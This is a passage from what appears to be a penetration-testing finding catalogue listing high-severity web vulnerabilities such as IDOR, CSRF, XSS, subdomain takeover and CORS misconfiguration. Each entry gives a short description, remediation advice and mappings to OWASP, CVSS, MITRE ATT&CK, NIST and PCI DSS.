Remediation: Implement a URL allowlist that explicitly blocks private IP ranges. Use network segmentation to prevent the web tier from accessing internal services unnecessarily.
OWASP Web: A10:2025
HIGH FR-107 — Authentication Bypass via Direct URL Access
Description: Authenticated pages or resources are accessible by directly navigating to their URLs without an active session. Authentication enforcement is missing on the server side for certain endpoints.
Remediation: Enforce authentication middleware on all routes that require authentication. Implement a centralized authentication check that applies to every request.
OWASP Web: A01:2025
HIGH FR-108 — Password Reset Token Weak or Predictable
Description: Password reset tokens are short, sequential, or based on predictable data (timestamp, username hash, MD5). An attacker can enumerate or brute-force valid reset tokens to take over accounts.
Remediation: Generate password reset tokens using a cryptographically secure random number generator with at least 128 bits of entropy. Enforce token expiration and single-use consumption.
OWASP Web: A07:2025
HIGH FR-114 — Vulnerability Scanner Finding — Known CVE
Description: A vulnerability scanner (Nuclei) identified a known CVE in a component used by the application. The component version matches a published vulnerability with a known proof-of-concept or exploit.
Remediation: Update the vulnerable component to the patched version. Apply vendor security patches. Implement a patch management process with regular CVE monitoring.
OWASP Web: A06:2025
HIGH FR-115 — Vulnerability Scanner Finding — Exposed Panel
Description: A Nuclei scan identified an exposed administrative or monitoring panel (e.g., Grafana, Kibana, Consul, Prometheus, Jenkins) without authentication or with default credentials.
Remediation: Restrict access to all administrative panels by IP whitelist or VPN. Enforce authentication and disable default credentials. Move panels off public-facing infrastructure.
OWASP Web: A05:2025
HIGH FR-118 — GraphQL Batch Query Attack
Description: The GraphQL endpoint accepts batched queries, allowing multiple queries to be sent in a single HTTP request. This can be abused to bypass rate limiting and perform brute-force or enumeration attacks at scale.
Remediation: Implement query batching limits. Enforce per-query rate limiting that accounts for batched requests. Consider disabling batch query support if not required.
OWASP Web: A04:2025
HIGH FR-119 — GraphQL Deeply Nested Query (DoS)
Description: The GraphQL endpoint does not enforce query depth limits. An attacker can craft deeply nested queries that cause exponential resource consumption, leading to denial of service.
Remediation: Implement query depth limiting (e.g., max depth of 5-10 levels). Add query complexity analysis and reject queries above a complexity threshold.
OWASP Web: A04:2025
HIGH FR-123 — No Account Lockout Mechanism
Description: The login endpoint does not implement account lockout or rate limiting after repeated failed authentication attempts. An attacker can conduct unlimited brute-force or credential stuffing attacks.
Remediation: Implement account lockout (temporary lock after N failed attempts) or progressive delays. Add CAPTCHA after a threshold of failures. Monitor for credential stuffing patterns.
OWASP Web: A07:2025
HIGH FR-129 — Insecure Direct Object Reference (IDOR)
Description: Insecure Direct Object Reference (IDOR) was detected. Direct references to internal objects (user IDs, record IDs, file names) are exposed in URLs or parameters without authorization checks, allowing access to other users' data by modifying the reference.
Remediation: Implement server-side authorization checks on every object access. Use indirect references (GUIDs, hashed IDs) instead of sequential integer IDs. Validate object ownership on every request.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2025
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: AC-3, AC-4
PCI DSS 4: 6.2.4, 7.2.1
HIGH FR-130 — Horizontal Privilege Escalation
Description: Horizontal privilege escalation was detected. An authenticated user can access or modify another user's resources by manipulating user-specific identifiers in requests, without authorization validation.
Remediation: Enforce server-side ownership checks for all user-specific resources. Validate that the requesting user owns or has explicit permission to access the target resource.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2025
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: AC-3, AC-4
PCI DSS 4: 7.2.1
HIGH FR-132 — Missing Function-Level Access Control
Description: Application functions (APIs, admin actions) are protected only by hiding them from the UI but lack server-side access control enforcement. An attacker who discovers the endpoint URL can invoke restricted functionality.
Remediation: Implement server-side access control checks on every sensitive function endpoint. Security by obscurity (hiding URLs) is not a substitute for proper access control.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2025
OWASP API: API5:2023 – Broken Function Level Authorization
MITRE ATT&CK: T1078 (Privilege Escalation), T1068 (Privilege Escalation)
NIST 800-53: AC-3, AC-6
PCI DSS 4: 7.2.1
HIGH FR-133 — Session Fixation
Description: Session fixation was detected. The application does not generate a new session ID after successful authentication. An attacker who can set a victim's session ID can hijack the session after the victim authenticates.
Remediation: Generate a new session ID upon successful authentication. Invalidate pre-authentication session IDs. Never accept session IDs provided in URLs.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
OWASP Web: A07:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1563 (Lateral Movement), T1550.004 (Defense Evasion)
NIST 800-53: AC-12, IA-5
PCI DSS 4: 8.3.6
HIGH FR-134 — Session Token in URL
Description: Session tokens are transmitted in URL query parameters. Session tokens in URLs are exposed in browser history, referrer headers, server logs, and proxy logs, significantly increasing the risk of session hijacking.
Remediation: Transmit session tokens only via HttpOnly, Secure cookies. Never include session tokens in URLs or query parameters.
OWASP Web: A07:2025
HIGH FR-136 — Session Not Invalidated on Logout
Description: Session tokens remain valid on the server after the user logs out. An attacker who captures a session token before logout can reuse it indefinitely.
Remediation: Invalidate session tokens server-side upon logout. Ensure the session store removes or expires the session record. Do not rely solely on clearing the client-side cookie.
OWASP Web: A07:2025
HIGH FR-137 — Cross-Site Request Forgery (CSRF)
Description: Cross-Site Request Forgery (CSRF) was detected. State-changing requests lack CSRF tokens or other anti-CSRF mechanisms. An attacker can craft a malicious page that triggers state-changing actions in the victim's authenticated session.
Remediation: Implement CSRF tokens (synchronizer token pattern or double-submit cookie). Use SameSite=Strict or SameSite=Lax cookies. Validate the Origin/Referer header for state-changing requests.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L
OWASP Web: A01:2025
MITRE ATT&CK: T1189 (Initial Access)
NIST 800-53: SI-10, SC-8
PCI DSS 4: 6.2.4
HIGH FR-138 — CSRF Token Not Validated Server-Side
Description: The application includes CSRF tokens in forms but does not validate them server-side, or accepts any non-empty value as valid. The CSRF protection mechanism is present but ineffective.
Remediation: Validate CSRF tokens server-side on every state-changing request. Reject requests with missing, empty, or invalid CSRF tokens. Ensure tokens are unpredictable and bound to the user session.
OWASP Web: A01:2025
HIGH FR-139 — Cross-User Data Leakage
Description: Data belonging to one user is visible to another user due to insufficient isolation in shared resources, caches, or multi-tenant data stores. This is a class of broken access control.
Remediation: Implement strict data isolation per user/tenant. Audit all data access paths for ownership validation. Review caching configurations to prevent cross-user cache poisoning.
OWASP Web: A01:2025
HIGH FR-145 — Unrestricted File Upload — MIME Type Bypass
Description: The file upload validation relies solely on the Content-Type header or file extension, which can be manipulated by an attacker. Malicious file content can be uploaded while disguising it as a permitted MIME type.
Remediation: Validate files using server-side magic byte analysis (file signature), not MIME type headers or extensions supplied by the client. Use a library such as python-magic or libmagic.
OWASP Web: A04:2025
HIGH FR-146 — File Upload — Path Traversal in Filename
Description: The file upload functionality uses the client-supplied filename in the server-side file path without sanitization. An attacker can supply a filename with path traversal sequences to write files to arbitrary server locations.
Remediation: Never use client-supplied filenames for server-side storage. Generate a random server-side filename for every uploaded file. Strip all path components from the original filename.
OWASP Web: A04:2025
HIGH FR-147 — Mass Assignment Vulnerability
Description: Mass assignment (also known as auto-binding) was detected. The application binds HTTP request parameters directly to internal model attributes without filtering. An attacker can set privileged attributes (isAdmin, role, balance) by adding them to the request body.
Remediation: Implement an explicit allowlist of fields that can be mass-assigned from user input. Use Data Transfer Objects (DTOs) or explicit field binding rather than mapping all request parameters to model attributes.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A04:2025
OWASP API: API6:2023 – Unrestricted Access to Sensitive Business Flows
MITRE ATT&CK: T1078 (Privilege Escalation)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
HIGH FR-149 — Broken Object-Level Authorization (BOLA) in API
Description: API endpoints expose object-level access without authorization validation. An authenticated user can access or modify another user's objects by substituting object IDs in API requests (equivalent to IDOR in APIs).
Remediation: Implement authorization checks at the object level for every API endpoint. Validate that the authenticated user has permission to access the specific object referenced in the request.
OWASP Web: A01:2025
HIGH FR-150 — Broken Function-Level Authorization (BFLA) in API
Description: API endpoints with administrative or privileged functionality are accessible to lower-privileged or unauthenticated users. Function-level access control is not enforced by the API.
Remediation: Enforce role-based access control at the function/endpoint level. Apply authorization middleware to every API route that requires privilege. Perform authorization checks server-side on every request.
OWASP Web: A01:2025
HIGH FR-152 — CORS Misconfiguration — Arbitrary Origin Reflected
Description: The server reflects the request's Origin header in the Access-Control-Allow-Origin response header and includes Access-Control-Allow-Credentials: true. This allows any origin to make credentialed cross-origin requests and read responses, bypassing the Same-Origin Policy.
Remediation: Maintain an explicit whitelist of allowed origins. Never reflect the request Origin blindly. Do not combine Access-Control-Allow-Credentials: true with dynamic origin reflection or wildcard origins.
OWASP Web: A01:2025
HIGH FR-153 — CORS Misconfiguration — Null Origin Allowed
Description: The server includes 'Access-Control-Allow-Origin: null' in its response. This allows sandboxed iframes, redirects, and local file requests to make credentialed cross-origin requests to the API.
Remediation: Remove 'null' from the allowed origins list. Use an explicit origin whitelist instead.
OWASP Web: A01:2025
HIGH FR-154 — Business Logic Flaw — Negative Value Accepted
Description: The application accepts negative numeric values in business-critical fields (quantity, price, payment amount). This can be exploited to inflate balances, receive credit for purchases, or bypass monetary validation.
Remediation: Validate that all numeric inputs are within expected positive ranges. Apply server-side bounds checking for all quantity, price, and amount fields.
OWASP Web: A04:2025
HIGH FR-155 — Business Logic Flaw — Price Manipulation
Description: The application trusts client-submitted pricing data without server-side verification. An attacker can manipulate price parameters to purchase items at an arbitrary price.
Remediation: Never trust client-submitted prices. Fetch prices from the server-side data store using product IDs and compute totals server-side. Treat price as a read-only server-computed field.
OWASP Web: A04:2025
HIGH FR-157 — Business Logic Flaw — Workflow Step Bypass
Description: Multi-step workflows (checkout, verification, approval) can be bypassed by directly accessing later steps without completing earlier steps. Server-side workflow state is not enforced.
Remediation: Track workflow state server-side and enforce step ordering. Verify prerequisites are complete before allowing advancement to subsequent steps.
OWASP Web: A04:2025
HIGH FR-158 — Business Logic Flaw — Race Condition
Description: A race condition was detected in a critical business operation (e.g., balance check-then-debit, coupon redemption, token verification). Concurrent requests can cause the operation to be performed multiple times before state is updated.
Remediation: Implement database-level row locking or optimistic concurrency control for critical operations. Use atomic transactions. Implement idempotency keys to prevent duplicate processing.
OWASP Web: A04:2025
HIGH FR-160 — Insecure Direct Object Reference in File Download
Description: File download endpoints use user-supplied filenames or IDs to retrieve files without ownership validation or path sanitization. Users can download files belonging to other users or access arbitrary files on the filesystem.
Remediation: Validate file ownership on every download request. Use indirect file references (GUIDs) instead of filesystem paths. Sanitize filenames and resolve canonical paths before access.
OWASP Web: A01:2025
HIGH FR-163 — FFUF — Administrative Path Discovered
Description: ffuf content discovery identified an administrative interface or control panel at a predictable path. Administrative paths accessible without authentication represent a critical security risk.
Remediation: Restrict access to administrative paths by IP whitelist, VPN, or network segmentation. Enforce strong authentication on all administrative endpoints.
OWASP Web: A05:2025
HIGH FR-171 — Sensitive Data Exposure — PII in Response
Description: API responses or page content expose personally identifiable information (PII) such as email addresses, phone numbers, SSNs, or financial data that should not be visible to the requesting user or at all.
Remediation: Implement response filtering to include only fields necessary for the requesting user's context. Apply data minimization principles. Ensure sensitive fields are encrypted at rest and masked in API responses.
OWASP Web: A02:2025
HIGH FR-173 — Subdomain Takeover — S3 Bucket Not Found
Description: A subdomain's DNS CNAME points to an AWS S3 bucket that returns a NoSuchBucket error. An attacker can create an S3 bucket with the matching name and serve content from the trusted subdomain.
Remediation: Delete the dangling CNAME record or create and properly configure the S3 bucket. Implement S3 bucket name reservation for subdomains.
OWASP Web: A05:2025
HIGH FR-174 — Subdomain Takeover — GitHub Pages
Description: A subdomain's DNS CNAME points to a GitHub Pages site that no longer exists or is unclaimed. An attacker can create a matching GitHub repository with Pages enabled to take over the subdomain.
Remediation: Remove the dangling CNAME record. If GitHub Pages are still required, recreate the repository and verify the custom domain configuration.
OWASP Web: A05:2025
HIGH FR-175 — Subdomain Takeover — Heroku
Description: A subdomain's DNS CNAME points to a Heroku application that has been deleted or is unclaimed. An attacker can provision a new Heroku app with the matching domain to take over the subdomain.
Remediation: Remove the dangling DNS record. If the Heroku app is still required, redeploy it and verify the custom domain binding.
OWASP Web: A05:2025
HIGH FR-176 — Prototype Pollution in JavaScript
Description: Prototype pollution was detected. User-controlled JSON or query parameter keys such as __proto__, constructor, or prototype are merged into application objects, potentially polluting the JavaScript prototype chain and affecting all objects.
Remediation: Sanitize keys before merging user-supplied objects. Use Object.create(null) for dictionaries. Validate that __proto__ and constructor keys are rejected in user input.
OWASP Web: A03:2025
HIGH FR-178 — Web Cache Poisoning
Description: Web cache poisoning was detected. The caching layer reflects unkeyed request headers (X-Forwarded-Host, X-Original-URL) into cached responses. An attacker can poison the cache to serve malicious content to all users.
Remediation: Review cache key configuration to include all headers that influence response content. Validate and sanitize headers before reflecting them in responses.
OWASP Web: A03:2025
HIGH FR-179 — GraphQL Authorization Bypass
Description: GraphQL queries can access data from unauthorized objects or users by bypassing field-level authorization. Inline fragment spreading or alias tricks may circumvent per-field permission checks.
Remediation: Implement field-level authorization checks using a library such as graphql-shield. Apply authorization at the resolver level, not just the query level.
OWASP Web: A01:2025
HIGH FR-181 — Access Matrix — Unauthenticated Access to Authenticated Endpoint
Description: An endpoint designated as requiring authentication is accessible without any session token or authentication credentials. Authentication enforcement is missing for this route.
Remediation: Implement authentication middleware that applies to all routes requiring login. Use a deny-by-default access control policy where routes must be explicitly marked as public.
OWASP Web: A01:2025
HIGH FR-182 — Access Matrix — Lower-Role Access to Higher-Role Endpoint
Description: An endpoint restricted to a higher-privileged role (admin, manager) is accessible by a lower-privileged authenticated user. Role-based access control enforcement is missing or inadequate for this endpoint.
Remediation: Enforce role-based authorization on all privileged endpoints. Validate the user's role server-side on every request. Implement centralized authorization that cannot be bypassed.
OWASP Web: A01:2025
HIGH FR-183 — Access Matrix — User A Can Read User B Data
Description: Authenticated user A can read data owned by user B by manipulating object identifiers in API requests. Object-level authorization is not enforced for read operations.
Remediation: Validate object ownership on every read operation. Implement server-side checks that confirm the requesting user is authorized to view the specific object.
OWASP Web: A01:2025
HIGH FR-195 — HTTP/2 Rapid Reset Attack Exposure
Description: The server supports HTTP/2 and may be vulnerable to the HTTP/2 Rapid Reset attack (CVE-2023-44487). An attacker can open and cancel streams at high speed to cause resource exhaustion and denial of service.
Remediation: Apply patches from the web server vendor for CVE-2023-44487. Implement HTTP/2 stream limits and reset rate limiting. Update to a patched version of the HTTP/2 implementation.
OWASP Web: A04:2025
HIGH FR-198 — WAF/CDN IP Block Detected
Description: The WAF or CDN is blocking all requests from the scanner's IP address. All subsequent results from this point forward may be unreliable as every request returns a WAF block page.
Impact: Detection of WAF/CDN IP ranges confirms that direct access to the origin server is mediated by a security proxy. An attacker targets CDN bypass techniques (IP history, DNS records, misconfigurations) to reach the unprotected origin.
Remediation: Rotate scanner IP or use authorized IP whitelisting for the pentest engagement. Notify the client if the scanner is being rate-limited or blocked.
OWASP Web: A05:2025
HIGH FR-202 — Web Cache Poisoning
Description: An unkeyed request header was reflected in a cached response. An attacker can inject this header with a malicious value and have the CDN serve that value to all subsequent users who receive the cached response.
Remediation: Ensure all headers that influence the response are included in the CDN cache key. Remove unkeyed header reflection from the application.
OWASP Web: A04:2025
HIGH FR-216 — Subdomain Takeover — Dangling CNAME
Description: A CNAME DNS record points to an unclaimed external service endpoint. An attacker can claim this endpoint and serve malicious content under the target's domain, enabling phishing, credential theft, and cookie theft.
Remediation: Remove dangling CNAME records from DNS. Ensure external service accounts are active while DNS records reference them.
OWASP Web: A05:2025
HIGH FR-218 — DNS Zone Transfer Permitted (AXFR)
Description: The DNS server permits full zone transfer (AXFR) requests, allowing any external host to retrieve all DNS records for the domain. This exposes internal hostnames, IP addresses, and infrastructure topology.
Impact: Permitted zone transfers expose the complete DNS zone contents including all hostnames, IP addresses, and service records. This provides an attacker with a comprehensive map of the organization's infrastructure without active scanning.
Remediation: Restrict AXFR to authorised secondary DNS servers only. Configure ACLs on the DNS server to deny zone transfer requests from untrusted sources.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1590.002 (Reconnaissance), T1018 (Discovery)
NIST 800-53: SC-20, CM-7, AC-3
PCI DSS 4: 1.3.2, 6.5.1
HIGH FR-221 — Sensitive File Exposed
Description: A sensitive file was found accessible on the web server. Sensitive files may contain credentials, configuration data, private keys, source code, or database contents.
Remediation: Remove or restrict access to sensitive files. Ensure web root contains only publicly accessible content.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: CM-6, CM-7
PCI DSS 4: 3.4.1
HIGH FR-223 — Admin Panel Exposed
Description: An administrative panel or management interface was found publicly accessible. Exposure of admin panels increases the attack surface for brute-force, credential stuffing, and privilege escalation attacks.
Remediation: Restrict admin panel access by IP allowlist. Require multi-factor authentication for all administrative access. Do not expose admin interfaces to the public internet.
OWASP Web: A01:2025
HIGH FR-224 — Exposed Admin/Debug Endpoint
Description: A debug or administrative endpoint was found publicly accessible. These endpoints may expose configuration data, heap dumps, environment variables, or allow remote code execution.
Remediation: Remove debug endpoints from production deployments. Restrict access to any legitimate admin endpoints by IP allowlist and authentication.
OWASP Web: A05:2025
HIGH FR-236 — WordPress Vulnerability / Misconfiguration
Description: A WordPress-specific vulnerability or security misconfiguration was identified. WordPress misconfigurations may allow unauthenticated access, information disclosure, or remote code execution.
Remediation: Apply all available WordPress security patches. Review and harden WordPress security settings per the WordPress hardening guide.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
OWASP Web: A06:2025
MITRE ATT&CK: T1190 (Initial Access), T1499 (Impact)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 6.5.1
HIGH FR-237 — WordPress Users Exposed via REST API
Description: WordPress usernames were enumerated via the REST API /wp-json/wp/v2/users endpoint. Exposed usernames enable targeted brute-force and credential stuffing attacks against wp-login.php.
Remediation: Disable username exposure via the REST API by filtering the response or disabling the endpoint with appropriate plugins. Implement account lockout on wp-login.php.
OWASP Web: A01:2025
HIGH FR-238 — WordPress User Enumeration via Author Archives
Description: WordPress usernames were enumerated by probing author archive URLs (?author=N). The server redirected to user-specific author archive pages revealing valid usernames.
Remediation: Prevent author archive enumeration by redirecting /?author=N requests or using a security plugin to obfuscate author slugs.
OWASP Web: A01:2025
HIGH FR-239 — WordPress Debug Log Exposed
Description: The WordPress debug log (wp-content/debug.log) is publicly accessible. Debug logs may contain database credentials, file paths, error messages, and other sensitive internal information.
Remediation: Disable WP_DEBUG and WP_DEBUG_LOG in production. Remove the debug.log file and restrict access to wp-content/ directory.
OWASP Web: A05:2025
HIGH FR-245 — WordPress Backup/Export File Exposed
Description: A WordPress backup or export file was found accessible on the web server. These files may contain the full database dump including user credentials, content, and configuration.
Remediation: Remove backup files from web-accessible directories. Store backups outside the document root or with access restrictions.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025
MITRE ATT&CK: T1552.001 (Credential Access), T1530 (Collection)
NIST 800-53: CM-6, AC-3, SC-28
PCI DSS 4: 6.5.1, 3.3.1
HIGH FR-248 — PHP Error Log Exposed
Description: A PHP error log file is publicly accessible. Error logs may contain database credentials, file system paths, internal function names, SQL queries, and stack traces.
Remediation: Configure PHP to log errors to a file outside the web root. Restrict web server access to log files.
OWASP Web: A05:2025
HIGH FR-249 — TimThumb Script Detected
Description: The TimThumb image resizing script was detected. Outdated versions of TimThumb contain remote file inclusion vulnerabilities that allow attackers to download and execute remote PHP code.
Remediation: Remove TimThumb from the application. If required, update to the latest version (2.8.14+) and restrict the allowed domain list.
Effort: Moderate
OWASP Web: A06:2025
MITRE ATT&CK: T1190 (Initial Access), T1505.003 (Persistence)
NIST 800-53: SI-2, CM-6
PCI DSS 4: 6.3.3, 6.5.1
HIGH FR-250 — Sensitive WordPress Path Accessible
Description: A sensitive WordPress file or directory was found publicly accessible. This may expose credentials, configuration, or internal application data.
Remediation: Restrict access to all sensitive WordPress paths via web server configuration. Review WordPress hardening guidelines.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
OWASP Web: A05:2025
MITRE ATT&CK: T1190 (Initial Access), T1499 (Impact)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 6.5.1
HIGH FR-252 — SSL/TLS Certificate: Expired
Description: The server's TLS certificate has passed its expiry date, causing browser trust errors and indicating a breakdown in certificate lifecycle management.
Impact: An expired certificate causes browser warnings that train users to bypass security prompts, and in many configurations disables certificate pinning. An attacker can present their own certificate to users conditioned to click through warnings, enabling silent interception of all encrypted traffic.
Remediation: Renew the certificate immediately and implement automated renewal (e.g., ACME/Let's Encrypt) to prevent future expiry.
OWASP Web: A02:2025
HIGH FR-253 — SSL/TLS Certificate: Hostname Mismatch
Description: The TLS certificate's Subject Alternative Names do not cover the target hostname. Clients will display a certificate mismatch warning, enabling trivial MITM attacks.
Impact: A hostname mismatch indicates the certificate was issued for a different domain, causing browser warnings and potentially indicating a misconfigured or compromised service. Users who accept the mismatch become vulnerable to MITM attacks.
Remediation: Reissue the certificate to include the target hostname in the Subject Alternative Name extension.
OWASP Web: A02:2025
HIGH FR-278 — Reflected Cross-Site Scripting (XSS)
Description: Reflected XSS was detected. User-supplied input is immediately reflected in the server response without encoding, allowing attackers to inject and execute arbitrary JavaScript in the victim's browser via a crafted link.
Remediation: Apply context-sensitive output encoding for all user-controlled data. Implement a Content-Security-Policy header to restrict script execution.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1189 (Initial Access), T1059.007 (Execution)
NIST 800-53: SI-10, SC-18
PCI DSS 4: 6.2.4
HIGH FR-280 — DOM-Based Cross-Site Scripting (XSS)
Description: DOM-based XSS was detected. JavaScript in the page reads attacker-controlled data from an insecure source (URL fragment, query string, postMessage) and writes it to a dangerous sink without encoding.
Remediation: Avoid writing attacker-controllable data to dangerous DOM sinks (innerHTML, document.write, eval). Use textContent or safe DOM APIs. Apply a strict Content-Security-Policy.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1189 (Initial Access), T1059.007 (Execution)
NIST 800-53: SI-10, SC-18
PCI DSS 4: 6.2.4
HIGH FR-281 — XSS Confirmed by dalfox
Description: dalfox confirmed a Cross-Site Scripting (XSS) vulnerability with a working payload that executes in the browser. XSS enables session hijacking, credential theft, and UI redirection.
Remediation: Apply context-sensitive output encoding. Implement a strict Content-Security-Policy. Validate and sanitise all user-supplied input.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1189 (Initial Access), T1059.007 (Execution)
NIST 800-53: SI-10, SC-18
PCI DSS 4: 6.2.4
HIGH FR-284 — Log Injection / CRLF in Log Entries
Description: Log injection was detected. User-supplied input containing CRLF characters is written to application logs without sanitisation, allowing attackers to forge log entries and cover their tracks.
Remediation: Sanitise all user input included in log messages. Remove or encode CRLF characters before logging.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A09:2025
MITRE ATT&CK: T1562.006 (Defense Evasion), T1070 (Defense Evasion)
NIST 800-53: AU-9, SI-10, AU-12
PCI DSS 4: 10.3.1, 6.2.4
HIGH FR-289 — Blind SSRF — Internal Network Probing
Description: Blind SSRF was detected via out-of-band interaction. The server made a DNS or HTTP request to an attacker-controlled host, confirming that user-supplied URLs trigger server-side requests. Internal network probing may be possible.
Remediation: Validate and allowlist all server-side request targets. Use an SSRF-safe HTTP client library that blocks private IP ranges by default.
OWASP Web: A10:2025
HIGH FR-292 — Insecure Deserialization — Error Disclosure
Description: A deserialisation error was triggered by a crafted payload and the error message was returned in the response. Error disclosure confirms the parameter is processed by a deserialiser and may guide further exploitation.
Remediation: Suppress deserialisation errors in production. Apply the remediation for insecure deserialisation.
OWASP Web: A08:2025
HIGH FR-293 — Verbose Error Messages — Stack Trace Disclosed
Description: A detailed stack trace or internal error message was returned in response to a crafted request. Stack traces disclose source file paths, class names, function names, and line numbers that assist further exploitation.
Remediation: Configure the application to return generic error pages in production. Log detailed errors server-side only.
OWASP Web: A05:2025
HIGH FR-294 — Credentials/Secret in JavaScript
Description: Credentials, API keys, tokens, or other secrets were identified in client-side JavaScript source files. Client-side secrets are visible to all users and attackers who access the page.
Remediation: Move all credentials and API keys to server-side configuration. Use environment variables and secret management solutions. Rotate any exposed credentials immediately.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 3.4.1
HIGH FR-295 — Sensitive Information in Source
Description: Sensitive information (credentials, internal URLs, private keys, PII, or internal comments) was identified in the HTML source of the page.
Remediation: Remove all sensitive data from page source. Use server-side rendering to avoid embedding sensitive values in HTML. Conduct regular source code reviews.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A02:2025
MITRE ATT&CK: T1592 (Reconnaissance), T1083 (Discovery)
NIST 800-53: SI-12, CM-7
PCI DSS 4: 6.5.1
HIGH FR-297 — Missing Rate Limiting / Brute-Force Protection
Description: The authentication endpoint does not implement rate limiting or brute-force protection. Attackers can submit unlimited login attempts to perform credential stuffing or password brute-forcing.
Remediation: Implement progressive account lockout, CAPTCHA after failed attempts, and IP-based rate limiting on the login endpoint.
OWASP Web: A07:2025
HIGH FR-305 — Potentially Predictable Session Token
Description: The session token appears to have low entropy or a predictable pattern. Predictable tokens allow attackers to brute-force or enumerate valid sessions and impersonate other users.
Remediation: Use a cryptographically secure random number generator for session token generation. Tokens must have at least 128 bits of entropy.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1539 (Collection), T1110.001 (Credential Access)
NIST 800-53: IA-5, SC-23
PCI DSS 4: 8.2.1, 8.3.6
HIGH FR-306 — Low-Entropy Session Token
Description: The session token has low statistical entropy as measured across multiple sample tokens. Low-entropy tokens can be brute-forced to hijack arbitrary user sessions.
Remediation: Generate session tokens using a CSPRNG. Ensure tokens have at least 128 bits of randomness.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1539 (Collection), T1110.001 (Credential Access)
NIST 800-53: IA-5, SC-23
PCI DSS 4: 8.2.1, 8.3.6
HIGH FR-307 — Session Fixation Vulnerability
Description: The application does not rotate the session identifier after successful authentication. An attacker can set a known session ID, trick the victim into authenticating, and then use the known ID to hijack the authenticated session.
Remediation: Regenerate the session identifier immediately after every successful login. Invalidate the pre-authentication session ID.
OWASP Web: A07:2025
HIGH FR-308 — Session Not Invalidated After Logout
Description: The server-side session is not invalidated after the user logs out. The session token remains valid for an extended period after logout, allowing session reuse if the token is captured.
Remediation: Invalidate server-side session state on logout. Expire the session cookie immediately on the client. Do not rely solely on client-side cookie deletion.
OWASP Web: A07:2025
HIGH FR-309 — Session Not Invalidated Server-Side After Logout
Description: The pre-logout session token remains valid server-side after the logout request. An attacker who obtains a session token can continue to use it indefinitely after the legitimate user has logged out.
Remediation: Implement server-side session invalidation on logout. Maintain a server-side session store that immediately marks tokens as invalid on logout.
OWASP Web: A07:2025
HIGH FR-320 — CORS Misconfiguration Allowing Credential Leakage
Description: The CORS configuration reflects arbitrary origins with Access-Control-Allow-Credentials: true. This allows attacker-controlled websites to make credentialed cross-origin requests and read the response, enabling session hijacking and sensitive data theft.
Remediation: Do not reflect arbitrary origins in Access-Control-Allow-Origin when credentials are enabled. Maintain an explicit allowlist of trusted origins.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
OWASP Web: A05:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1189 (Initial Access)
NIST 800-53: CM-6, SC-8
PCI DSS 4: 6.2.4
HIGH FR-321 — JSONP Endpoint — Cross-Origin Data Leakage
Description: A JSONP endpoint was identified. JSONP endpoints allow any website to read the response content by including a script tag, bypassing the Same-Origin Policy and enabling cross-origin data exfiltration.
Remediation: Replace JSONP with CORS. If JSONP must be retained, validate the callback parameter against a strict allowlist and enforce authentication.
Effort: Moderate
